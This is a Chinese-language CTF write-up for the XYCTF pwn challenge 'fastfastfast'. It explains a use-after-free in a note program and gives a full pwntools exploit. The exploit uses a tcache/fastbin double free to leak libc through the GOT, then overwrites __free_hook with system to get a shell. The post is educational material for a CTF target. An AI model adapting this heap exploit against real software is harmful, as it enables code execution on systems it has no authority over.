[XYCTF] fastfastfast

bamuwe發表於2024-05-03

[XYCTF] fastfastfast

UAF|fast_bin_attack|tcache|leak_libc

[*] '/home/bamuwe/fastfastfast/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)

$ checksec ./vuln

1. create note
2. delete note
3. show content
>>>

$ ./vuln

void __cdecl delete()
{
  unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input note idx");
  __isoc99_scanf("%u", &idx);
  if ( idx <= 0xF )
    free(note_addr[idx]);
  else
    puts("idx error");
}

delete()漏洞函式,沒有清除指標

def add(idx,content):
    io.sendlineafter(b'>>>',b'1')
    io.sendlineafter(b'idx\n',str(idx))
    io.sendlineafter(b'content\n',content)
    
def free(idx):
    io.sendlineafter(b'>>>',b'2')
    io.sendlineafter(b'idx\n',str(idx))
    
def show(idx):
    io.sendlineafter(b'>>>',b'3')
    io.sendlineafter(b'idx\n',str(idx))

互動函式

程式邏輯:

  1. add()堆塊大小固定0x71
  2. free()後沒有清空指標

利用思路:

  1. 填滿tcache_bin構造fast_bin_attack,將堆塊放在原來有libc_addr的地方,洩露出libc_addr

    for i in range(9):
        add(i,b'a')
    
    for i in range(7):
        free(i)
    free(7)
    free(8)
    free(7)
    

    image-20240503134919203

    要利用fastbin_attack要先把tcachebin中的堆塊利用

    for i in range(7):
        add(i,b'a')
    

    image-20240503135100011

    add(7,p64(0x4040A8))
    

    修改fd為目標地址,關於這個地址後文說明

    image-20240503135226136

    再申請三個堆塊就可以得到目標chunk

    add(8,b'a')
    add(9,b'b')
    add(10,p64(0)*3+p64(elf.got['free']))   #?
    show(0)
    #leak_libc
    free_addr = u64(io.recv(6).ljust(8,b'\x00'))
    lib_base = free_addr-lib.sym['free']
    free_hook_addr = lib_base+lib.sym['__free_hook']
    sys_addr = lib_base+lib.sym['system']
    success(hex(free_addr))
    success(f'free_hook_addr=>{hex(free_hook_addr)}')
    

    得到libc這裡p64(0)*3+p64(elf.got['free'])應該是堆塊結構有關

  2. 修改__free_hook地址上的內容為system地址,構造system(/bin/sh),得到shell

    for i in range(9):
        add(i,b'/bin/sh\x00')
    for i in range(7):
        free(i)
    free(7)
    free(8)
    free(7)
    
    for i in range(7):
        add(i,b'a')
    add(7,p64(free_hook_addr))
    add(8,b'a')
    add(9,b'/bin/sh\x00')
    add(10,p64(sys_addr))
    free(9)
    

    利用手法同上

關於地址0x4040A8:

這是存貯堆塊列表的地址,即變數note_addr的地址,覆蓋其上堆塊內容,再列印出來

image-20240503140252580

exp:

#GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
io = gdb.debug('./vuln','b *0x401564')
# io = remote('gz.imxbt.cn',20788)
elf = ELF('./vuln')
lib = ELF('./libc-2.31.so')

def add(idx,content):
    io.sendlineafter(b'>>>',b'1')
    io.sendlineafter(b'idx\n',str(idx))
    io.sendlineafter(b'content\n',content)
    
def free(idx):
    io.sendlineafter(b'>>>',b'2')
    io.sendlineafter(b'idx\n',str(idx))
    
def show(idx):
    io.sendlineafter(b'>>>',b'3')
    io.sendlineafter(b'idx\n',str(idx))
    
for i in range(9):
    add(i,b'a')

for i in range(7):
    free(i)
free(7)
free(8)
free(7)

for i in range(7):
    add(i,b'a')

add(7,p64(0x4040A8))
add(8,b'a')
add(9,b'b')
add(10,p64(0)*3+p64(elf.got['free']))   #?
show(0)
#leak_libc
free_addr = u64(io.recv(6).ljust(8,b'\x00'))
lib_base = free_addr-lib.sym['free']
free_hook_addr = lib_base+lib.sym['__free_hook']
sys_addr = lib_base+lib.sym['system']
success(hex(free_addr))
success(f'free_hook_addr=>{hex(free_hook_addr)}')

for i in range(9):
    add(i,b'/bin/sh\x00')
for i in range(7):
    free(i)
free(7)
free(8)
free(7)

for i in range(7):
    add(i,b'a')
add(7,p64(free_hook_addr))
add(8,b'a')
add(9,b'/bin/sh\x00')
add(10,p64(sys_addr))
free(9)

io.interactive()